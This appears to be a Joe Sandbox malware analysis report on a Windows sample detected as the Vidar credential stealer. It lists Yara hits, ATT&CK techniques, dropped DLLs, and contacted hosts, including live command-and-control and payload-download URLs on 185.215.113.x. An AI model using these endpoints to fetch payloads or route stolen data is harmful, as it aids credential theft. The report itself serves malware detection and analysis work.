Source: Yara match	File source: 00000000.00000003.2047136566.0000000004A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2546281725.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2990514987.0000000000C81000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2947123671.0000000005430000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2849080030.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3071062804.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2547238777.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2800396250.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2849516571.0000000000C81000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3069907329.0000000000C81000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6fc7e371fe.exe PID: 7988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6fc7e371fe.exe PID: 9188, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6fc7e371fe.exe PID: 2408, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 4276, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C830C40 sqlite3_bind_zeroblob,	0_2_6C830C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C830D60 sqlite3_bind_parameter_name,	0_2_6C830D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C758EA0 sqlite3_clear_bindings,	0_2_6C758EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C830B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C830B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C756410 bind,WSAGetLastError,	0_2_6C756410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C756070 PR_Listen,	0_2_6C756070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C75C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75C030 sqlite3_bind_parameter_count,	0_2_6C75C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7560B0 listen,WSAGetLastError,	0_2_6C7560B0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0018EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,	23_2_0018EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0018DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,	23_2_0018DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	41 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	111 Registry Run Keys / Startup Folder	12 Process Injection	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	256 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	111 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Bypass User Account Control	Cached Domain Credentials	661 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	271 Virtualization/Sandbox Evasion	Proc Filesystem	271 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	51%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.206/68b591d6548ec281/mozglue.dllE8	100%	Avira URL Cloud	malware
http://185.215.113.206C	0%	Avira URL Cloud	safe
http://185.215.113.43/ViewSizePreferences.SourceAumid1	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/sqlite3.dllK8	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpvh	100%	Avira URL Cloud	malware
http://185.215.113.206/ockedCacheCounterMutex	100%	Avira URL Cloud	malware
http://185.215.113.206T	0%	Avira URL Cloud	safe
http://185.215.113.16/steam/random.exe1395d7f	100%	Avira URL Cloud	phishing
http://185.215.113.16/off/random.exe0	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.phpY	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php/l	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php003	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpb	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exe78	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.php/s	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpq	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpx	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpncodedh	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpbh	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php7001	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeW	100%	Avira URL Cloud	phishing
http://185.215.113.43/Zu7JuNko/index.php.	100%	Avira URL Cloud	malware
http://185.215.113.206/urrentVersion	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpp#Xl	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php/$	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpcoded;	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php.h	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	142.250.181.238	true	false	high
play.google.com	216.58.206.46	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.244.18.27	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.185.100	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.18	true	false	high
googlehosted.l.googleusercontent.com	142.250.186.65	true	false	high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	high
assets.msn.com	unknown	unknown	false	high
r.msftstatic.com	unknown	unknown	false	high
15.164.165.52.in-addr.arpa	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high
browser.events.data.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
https://sb.scorecardresearch.com/b2?rn=1731389013838&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=39559DFC669A689A222688C967CD69C0&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false	high
http://185.215.113.206/68b591d6548ec281/mozglue.dll	false	high
http://185.215.113.16/steam/random.exe	false	high
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	KKEHIEBK.0.dr, FCFBAKJD.0.dr, Web Data.8.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2546281725.000000000063B000.00000004.00000020.00020000.00000000.sdmp, KKEHIEBK.0.dr, FCFBAKJD.0.dr, Web Data.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dllE8	file.exe, 00000000.00000002.2546281725.000000000061F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/0	000003.log9.8.dr	false		high
https://ntp.msn.com/_default	QuotaManager.8.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2571406052.00000000232A2000.00000004.00000020.00020000.00000000.sdmp, JKEGHDGHCGHDHJKFBFBK.0.dr	false		high
http://185.215.113.43/ows	skotes.exe, 00000017.00000002.3293696158.0000000000B28000.00000004.00000020.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.8.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
https://aefd.nelreports.net/api/report?cat=bingcsp	Reporting and NEL.9.dr	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dllK8	file.exe, 00000000.00000002.2546281725.000000000061F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://deff.nelreports.net/api/report	Reporting and NEL.9.dr	false		high
https://docs.google.com/	manifest.json.8.dr	false		high
https://www.youtube.com	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.9.dr	false		high
https://www.instagram.com	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
http://185.215.113.206C	6fc7e371fe.exe, 0000001D.00000002.3071062804.00000000016DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://outlook.live.com/mail/inbox?isExtension=true&sharedHeader=1&nlp=1&client_flight=outlookedge	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
https://outlook.office.com/mail/compose?isExtension=true	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpvh	6fc7e371fe.exe, 0000001D.00000002.3071062804.000000000172E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://i.y.qq.com/n2/m/index.html	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
https://www.deezer.com/	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
https://web.telegram.org/	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
http://185.215.113.43/ViewSizePreferences.SourceAumid1	skotes.exe, 00000017.00000002.3293696158.0000000000B28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-daily-2.corp.google.com/	manifest.json.8.dr	false		high
http://185.215.113.206/ockedCacheCounterMutex	6fc7e371fe.exe, 00000018.00000002.2849080030.0000000000AB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2546281725.000000000063B000.00000004.00000020.00020000.00000000.sdmp, KKEHIEBK.0.dr, FCFBAKJD.0.dr, Web Data.8.dr	false		high
http://185.215.113.206T	file.exe, 00000000.00000002.2546281725.00000000005AE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	FCFBAKJD.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json.8.dr	false		high
https://excel.new?from=EdgeM365Shoreline	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json.8.dr	false		high
https://plus.google.com	chromecache_476.4.dr	false		high
http://185.215.113.16/steam/random.exe1395d7f	skotes.exe, 00000017.00000002.3293696158.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.9.dr	false		high
http://185.215.113.16/off/random.exe0	skotes.exe, 00000017.00000002.3293696158.0000000000B28000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	KECFIDGCBFBAKEBFBKFBFBAFII.0.dr	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2571406052.00000000232A2000.00000004.00000020.00020000.00000000.sdmp, JKEGHDGHCGHDHJKFBFBK.0.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json.8.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2571406052.00000000232A2000.00000004.00000020.00020000.00000000.sdmp, JKEGHDGHCGHDHJKFBFBK.0.dr	false		high
https://bard.google.com/	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpV	skotes.exe, 00000017.00000002.3293696158.0000000000B55000.00000004.00000020.00020000.00000000.sdmp	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpY	6fc7e371fe.exe, 00000018.00000002.2849080030.0000000000AB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php/l	6fc7e371fe.exe, 00000018.00000002.2849080030.0000000000AB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpW	skotes.exe, 00000017.00000002.3293696158.0000000000B28000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php003	file.exe, 00000000.00000002.2546281725.0000000000606000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.office.com	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
https://outlook.live.com/mail/0/	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpb	6fc7e371fe.exe, 0000001B.00000002.2992599240.00000000016CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/mine/random.exe78	file.exe, 00000000.00000002.2571406052.00000000232A2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	JKEGHDGHCGHDHJKFBFBK.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.php/s	6fc7e371fe.exe, 0000001B.00000002.2992599240.00000000016CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.8.dr, 000003.log9.8.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpp	6fc7e371fe.exe, 0000001B.00000002.2992599240.000000000167B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpM	skotes.exe, 00000017.00000002.3293696158.0000000000B28000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpq	file.exe, 00000000.00000002.2546281725.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, 6fc7e371fe.exe, 00000018.00000002.2849080030.0000000000AB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://tidal.com/	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
https://ntp.msn.com	000003.log0.8.dr, 2cc80dabc69f58b6_0.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpx	6fc7e371fe.exe, 0000001B.00000002.2992599240.00000000016B9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpy	file.exe, 00000000.00000002.2571406052.00000000232B2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpncodedh	skotes.exe, 00000017.00000002.3293696158.0000000000B55000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://gaana.com/	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
http://185.215.113.43/lfons	skotes.exe, 00000017.00000002.3293696158.0000000000B28000.00000004.00000020.00020000.00000000.sdmp	false		high
https://outlook.live.com/mail/compose?isExtension=true	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpbh	6fc7e371fe.exe, 0000001D.00000002.3071062804.000000000172E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.php7001	skotes.exe, 00000017.00000002.3293696158.0000000000B18000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
https://apis.google.com	chromecache_474.4.dr, chromecache_476.4.dr	false		high
http://185.215.113.16/steam/random.exeW	skotes.exe, 00000017.00000002.3293696158.0000000000AFE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.43/Zu7JuNko/index.php.	skotes.exe, 00000017.00000002.3293696158.0000000000B55000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://domains.google.com/suggest/flow	chromecache_476.4.dr	false		high
https://latest.web.skype.com/?browsername=edge_canary_shoreline	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
https://word.new?from=EdgeM365Shoreline	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	KKEHIEBK.0.dr, FCFBAKJD.0.dr, Web Data.8.dr	false		high
https://mail.google.com/mail/mu/mp/266/#tl/Inbox	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
http://185.215.113.206/urrentVersion	6fc7e371fe.exe, 0000001D.00000002.3071062804.000000000172E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-autopush.corp.google.com/	manifest.json.8.dr	false		high
https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
https://open.spotify.com	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpp#Xl	6fc7e371fe.exe, 0000001B.00000002.2992599240.00000000016CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://twitter.com/	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.php/$	6fc7e371fe.exe, 00000018.00000002.2849080030.0000000000AB9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpcoded;	skotes.exe, 00000017.00000002.3293696158.0000000000B55000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://m.vk.com/	eae353be-bbb9-4735-8190-c35eb5c4a76a.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.php.h	6fc7e371fe.exe, 0000001D.00000002.3071062804.000000000172E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.185.100	www.google.com	United States	15169	GOOGLEUS	false
18.244.18.27	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
142.250.181.238	plus.l.google.com	United States	15169	GOOGLEUS	false
104.40.82.182	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.221.22.212	unknown	United States	20940	AKAMAI-ASN1EU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
18.244.18.38	unknown	United States	16509	AMAZON-02US	false
216.58.206.46	play.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1554142
Start date and time:	2024-11-12 06:22:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@77/289@33/18
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.99, 74.125.71.84, 142.250.185.174, 34.104.35.123, 142.250.186.131, 172.202.163.200, 199.232.210.172, 142.250.181.234, 216.58.212.170, 142.250.186.42, 172.217.18.106, 172.217.18.10, 142.250.185.202, 142.250.185.106, 142.250.186.106, 142.250.184.202, 142.250.185.234, 172.217.16.202, 216.58.206.42, 142.250.186.138, 142.250.186.170, 216.58.206.74, 142.250.184.234, 192.229.221.95, 216.58.212.138, 172.217.16.138, 172.217.23.106, 142.250.185.74, 40.69.42.241, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 142.250.186.46, 13.107.6.158, 2.20.245.132, 2.20.245.139, 172.211.159.152, 88.221.110.179, 88.221.110.195, 2.23.209.149, 2.23.209.130, 2.23.209.189, 2.23.209.148, 2.23.209.133, 2.23.209.185, 2.23.209.176, 2.23.209.193, 2.23.209.140, 2.23.209.158, 2.23.209.150, 13.74.129.1, 204.79.197.237, 13.107.21.237, 2.23.209.52, 2.23.209.3, 2.23.209.59, 2.23.209.51, 2.23.209.4, 2.23.209.55, 2.23.209.50, 2.23.209.58, 2.23.209.49, 2.23.209.187, 2.23.209.177, 4.23
